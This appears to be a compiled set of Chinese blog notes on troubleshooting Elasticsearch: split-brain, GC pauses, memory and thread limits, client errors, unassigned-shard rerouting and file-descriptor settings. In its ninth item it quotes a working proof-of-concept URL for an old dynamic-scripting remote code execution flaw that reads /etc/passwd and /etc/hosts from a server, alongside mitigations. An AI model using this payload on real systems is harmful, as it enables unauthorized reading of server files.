ES弊端:
Elasticsearch集群的脑裂问题http://blog.csdn.net/cnweike/article/details/39083089
正常情况下,集群中的所有的节点,应该对集群中master的选择是一致的,这样获得的状态信息也应该是一致的,不一致的状态信息,说明不同的节点对master节点的选择出现了异常——也就是所谓的脑裂问题。这样的脑裂状态直接让节点失去了集群的正确状态,导致集群不能正常工作。
可能导致的原因:
1. 网络:由于是内网通信,网络通信问题造成某些节点认为master死掉,而另选master的可能性较小;进而检查Ganglia集群监控,也没有发现异常的内网流量,故此原因可以排除。
2. 节点负载:由于master节点与data节点都是混合在一起的,所以当工作节点的负载较大(确实也较大)时,导致对应的ES实例停止响应,而这台服务器如果正充当着master节点的身份,那么一部分节点就会认为这个master节点失效了,故重新选举新的节点,这时就出现了脑裂;同时由于data节点上ES进程占用的内存较大,较大规模的内存回收操作也能造成ES进程失去响应。所以,这个原因的可能性应该是最大的。
应对问题的办法:
1. 对应于上面的分析,推测出原因应该是由于节点负载导致了master进程停止响应,继而导致了部分节点对于master的选择出现了分歧。为此,一个直观的解决方案便是将master节点与data节点分离。为此,我们添加了三台服务器进入ES集群,不过它们的角色只是master节点,不担任存储和搜索的角色,故它们是相对轻量级的进程。可以通过以下配置来限制其角色:
[plain] view plain copy
1. node.master: true
2. node.data: false
当然,其它的节点就不能再担任master了,把上面的配置反过来即可。这样就做到了将master节点与data节点分离。当然,为了使新加入的节点快速确定master位置,可以将data节点的默认的master发现方式有multicast修改为unicast:
[plain] view plain copy
1. discovery.zen.ping.multicast.enabled: false
2. discovery.zen.ping.unicast.hosts: ["master1", "master2", "master3"]
3. 2. 还有两个直观的参数可以减缓脑裂问题的出现:
4. discovery.zen.ping_timeout(默认值是3秒):默认情况下,一个节点会认为,如果master节点在3秒之内没有应答,那么这个节点就是死掉了,而增加这个值,会增加节点等待响应的时间,从一定程度上会减少误判。
5. discovery.zen.minimum_master_nodes(默认是1):这个参数控制的是,一个节点需要看到的具有master节点资格的最小数量,然后才能在集群中做操作。官方的推荐值是(N/2)+1,其中N是具有master资格的节点的数量(我们的情况是3,因此这个参数设置为2,但对于只有2个节点的情况,设置为2就有些问题了,一个节点DOWN掉后,你肯定连不上2台服务器了,这点需要注意)。
6.
7. 以上的解决方法只能是减缓这种现象的发生,并没有从根本上杜绝,但是毕竟是有帮助的,如果大家有其它更好的建议,欢迎探讨。
的方式
http://www.tuicool.com/articles/ZraIVzR
1.由gc引起节点脱离集群因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。
解决方法:
(1)优化gc,减少gc时间。(2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。
2.out ofmemory错误
因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现outof memory错误。
解决方法:
(1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引用对象还能保证在Java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type:soft即可。
(2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size:50000来把缓存field的最大值设置为50000,设置index.cache.field.expire:10m把过期时间设置成10分钟。
3.无法创建本地线程问题
es恢复时报错: RecoverFilesRecoveryException[[index][3]Failed to transfer [215] files with total size of [9.4gb]]; nested:OutOfMemoryError[unable to create new native thread]; ]]
刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小*1024*1024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是maxuser processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。
解决方法:
(1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。
(2)打开/etc/security/limits.conf ,把soft nproc 1024这行的1024改大就行了。
4.集群状态为黄色时并发插入数据报错
[7]: index [index], type [index],id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2]active : Timeout waiting for [1m], request:org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]
这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。
解决方法:(1)去掉没分配的副本。(2)把写一致性改成one,即只写入一份索引就行。
5.设置jvm锁住内存时启动警告
当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。
解决方法:设置为无限制,linux命令:ulimit -l unlimited
6.错误使用api导致集群卡死
其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。
解决方法:用bulkRequest进行批量删除操作。
7.org.elasticsearch.transport.RemoteTransportException:Failed to deserialize exception response from stream
原因:es节点之间的JDK版本不一样
解决方法:统一JDK环境
8 . org.elasticsearch.client.transport.NoNodeAvailableException:No node available
1)端口错
client = newTransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress,9300));
这里9300 写成9200的话会No node available
要是你连的不是本机,注意IP有没有正确
2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)
3)要是你改了集群名字,还有设置集群名字
Settings settings =ImmutableSettings.settingsBuilder().put("cluster.name","xxx").build(); client = newTransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress,9300));
4)集群超过5s没有响应
解决方法1.设置client.transport.ping_timeout设大
2.代码内加入while (true) {
try {
bulk.execute().actionGet(getRetryTimeout());
break;
}
catch (NoNodeAvailableExceptioncont) {
Thread.sleep(5000);
continue;
}
}
9.elasticsearch
近日被发现漏洞,可以远程执行任意代码,由于 elasticsearch
提供了
http
接口,导致可能通过
CSRF
等方式借助恶意页面浏览发生攻击
。
漏洞影响版本:
elasticsearch 1.2
以下
测试代码:
http:// ESSERVERIP :9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&_=1400571156309
浏览器会返回/etc/passwd内容
解决方案 :
1、在配置文件elasticsearch.yml里设置script.disable_dynamic: true
2、严格限制可访问elasticsearch服务的IP地址
参考:
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts
重启后报503错误
详情如此下:
[2014-09-23 17:42:33,499][WARN][transport.netty ] [Erik Magnus Lehnsherr]Message not fully read (request) for [4961353] and
action[discovery/zen/join/validate], resetting
[2014-09-23 17:42:33,522][INFO][discovery.zen ] [Erik MagnusLehnsherr] failed to send join request to master [[Red Lotus][
UG2WbJpDTHOB-EjzJFRsow][n025.corp.ncfgroup.com][inet[/10.18.6.25:9300]]],reason [org.elasticsearch.transport.RemoteTransportException:
[RedLotus][inet[/10.18.6.25:9300]][discovery/zen/join];org.elasticsearch.transport.RemoteTransportException: [Erik Magnus Lehnsherr]
[inet[/10.18.6.90:9300]][discovery/zen/join/validate];org.elasticsearch.ElasticsearchIllegalArgumentException: No custom indexmetadat
a factory registered for type[rivers]]
问题原因:都采用默认集群名字的话,不同人不同I配置发到集群会进行连接并选Master,有时候可能因为IP限制连接不上。
更改:自己的测试服务尽量个性命名
解决elasticsearch在大数据中应用的精确度问题
http://doc.okbase.net/bfchuan/archive/145777.html
elasticsearch)
一)精确搜索
因为做的是数据分析的问题,所以搜索是一个精确查找的问题,当然不能使用联想搜索法,于是很自然的干掉分词法,但是我们知道,es自带smartcn分词法,也就是说不管如何,它都会给你分词,这可不是我想要的,放眼网上一看,都是如何使用第三方分词法替代es自己的分词法,像我这样的需求还真不好找。经过到大半夜的摸索,源码在手,何惧之有?找出三个解决办法:
1)删掉文件:不同es版本文件位置不一样,直接搜索smartcn删除所有相关分词文件,当然有风险。
2)创建序列的时候声明不分词:我们在创建es索引的时候,都是startObject()的方法,于是我们在里面增加filed,声明index为
not_analyzed,则能不使用分词,当然这个也有弊端,那就是如果有一天需要分词的时候,就需要重新创建索引了。
3)修改输入:这个方法乃上上之策,也是非常非常简单,那就是在es里面,如果你的字符串是被双引号括起来,那么es就认为是一个原子,不会被分词,也就是我们需要转义引号,一起作为搜索字符串传递给es,这个简单点办法,发现之后我居然仰天长啸,你个二b es,这个神气你居然藏着掖着。
二)es的filter
es的fiter着实让我纠结,由于时间有限,我需要在实现not的搜索,也就是不包含某个结果,我们知道在es里面使用queryBuilder条件去设定过滤条件,会出现长度溢出,最好的做法当然是filter,于是很自然的创建了filter:
BoolFilterBuilder notFilter =FilterBuilders.boolFilter().mustNot(FilterBuilders.termsFilter("body","fedde").cache(false));
在es里面的filter有两类,not,or,and等这一类,还有一类是bool等这一类,他们的区别就是是否会使用es内部核心大数组,在性能下优先考虑bool类,因为它会使用内部数组,这个filter有个核心的坑就是仅仅只有body完全等于输入字符串的时候,才能被not,我觉得es不会没有解决这个问题,或许是我没有发现,时间有限,直接手动修改hits。。
三)es的and
我们在实现es的and功能的时候,一般也是建立filter,并且es内部提供了and操作,我们理想的and操作就是将我们的多个输入得到并结果,于是filter的建立如下:
QueryFilterBuilderqueryFilterBuilder =FilterBuilders.queryFilter(QueryBuilders.multiMatchQuery(value, eachStringQueryRequest.getQueryFiled()).operator(MatchQueryBuilder.Operator.AND).minimumShouldMatch(Global.MARCHPERCENT));
但是结果却始终不正确,都是or的结果,于是我一度恼火,后来发现这个坑,multiMatchQuery这个方法传递两个参数,一个是object的输入,一个是可变长的es的filed的名字,原来es的and,是and它的可变长filed,而不是我们自己的多个输入。
http://www.wklken.me/posts/2015/05/23/elasticsearch-issues.html
其实刚搭完运行时就是status: yellow
(所有主分片可用,但存在不可用的从分片), 只有一个节点, 主分片启动并运行正常, 可以成功处理请求, 但是存在unassigned_shards
,即存在没有被分配到节点的从分片.(只有一个节点.....)
.当时数据量小, 就暂时没关注. 然后, 随着时间推移, 出现了大量unassigned shards
curl -XGET http://localhost:9200/_cluster/health\?pretty { "cluster_name" : "elasticsearch", "status" : "yellow", "timed_out" : false, "number_of_nodes" : 2, "number_of_data_nodes" : 1, "active_primary_shards" : 538, "active_shards" : 538, "relocating_shards" : 0, "initializing_shards" : 0, "unassigned_shards" : 558, "number_of_pending_tasks" : 0 }
处理方式: 找了台内网机器, 部署另一个节点(保证cluster.name一致即可, 自动发现, 赞一个). 当然, 如果你资源有限只有一台机器, 使用相同命令再启动一个es实例也行. 再次检查集群健康, 发现unassigned_shards
减少, active_shards
增多.
操作完后, 集群健康从yellow
恢复到 green
集群健康恶化了......
这次检查发现是status: red
(存在不可用的主要分片)
curl -XGET http://localhost:9200/_cluster/health\?pretty { "cluster_name" : "elasticsearch", "status" : "red", // missing some primary shards "timed_out" : false, "number_of_nodes" : 4, "number_of_data_nodes" : 2, "active_primary_shards" : 538, "active_shards" : 1076, "relocating_shards" : 0, "initializing_shards" : 0, "unassigned_shards" : 20, // where your lost primary shards are. "number_of_pending_tasks" : 0 }
开始着手修复
查看所有分片状态
curl -XGET http://localhost:9200/_cat/shards
找出UNASSIGNED
分片
curl -s "http://localhost:9200/_cat/shards" | grep UNASSIGNED pv-2015.05.22 3 p UNASSIGNED pv-2015.05.22 3 r UNASSIGNED pv-2015.05.22 1 p UNASSIGNED pv-2015.05.22 1 r UNASSIGNED
查询得到master节点的唯一标识
curl 'localhost:9200/_nodes/process?pretty' { "cluster_name" : "elasticsearch", "nodes" : { "AfUyuXmGTESHXpwi4OExxx" : { "name" : "Master", .... "attributes" : { "master" : "true" }, .....
执行reroute(分多次, 变更shard的值为UNASSIGNED
查询结果中编号, 上一步查询结果是1和3)
curl -XPOST 'localhost:9200/_cluster/reroute' -d '{ "commands" : [ { "allocate" : { "index" : "pv-2015.05.22", "shard" : 1, "node" : "AfUyuXmGTESHXpwi4OExxx", "allow_primary" : true } } ] }'
批量处理的脚本(当数量很多的话, 注意替换node的名字)
#!/bin/bash for index in $(curl -s 'http://localhost:9200/_cat/shards'| grep UNASSIGNED | awk '{print $1}'| sort | uniq); do for shard in $(curl -s 'http://localhost:9200/_cat/shards'| grep UNASSIGNED | grep $index | awk '{print $2}'| sort | uniq); do echo $index $shard curl -XPOST 'localhost:9200/_cluster/reroute' -d "{ 'commands' : [ { 'allocate' : { 'index' : $index, 'shard' : $shard, 'node' : 'Master', 'allow_primary' : true } } ] }" sleep 5 done done
发现日志中大量出现这个错误
执行
curl http://localhost:9200/_nodes/process\?pretty
可以看到
"max_file_descriptors" : 4096,
官方文档中
Make sure to increase the number of open filesdescriptors on the machine (or for the user running elasticsearch). Setting itto 32k or even 64k is recommended.
而此时, 可以在系统级做修改, 然后全局生效
最简单的做法, 在bin/elasticsearch
文件开始的位置加入
ulimit -n 64000
然后重启es, 再次查询看到
"max_file_descriptors" : 64000,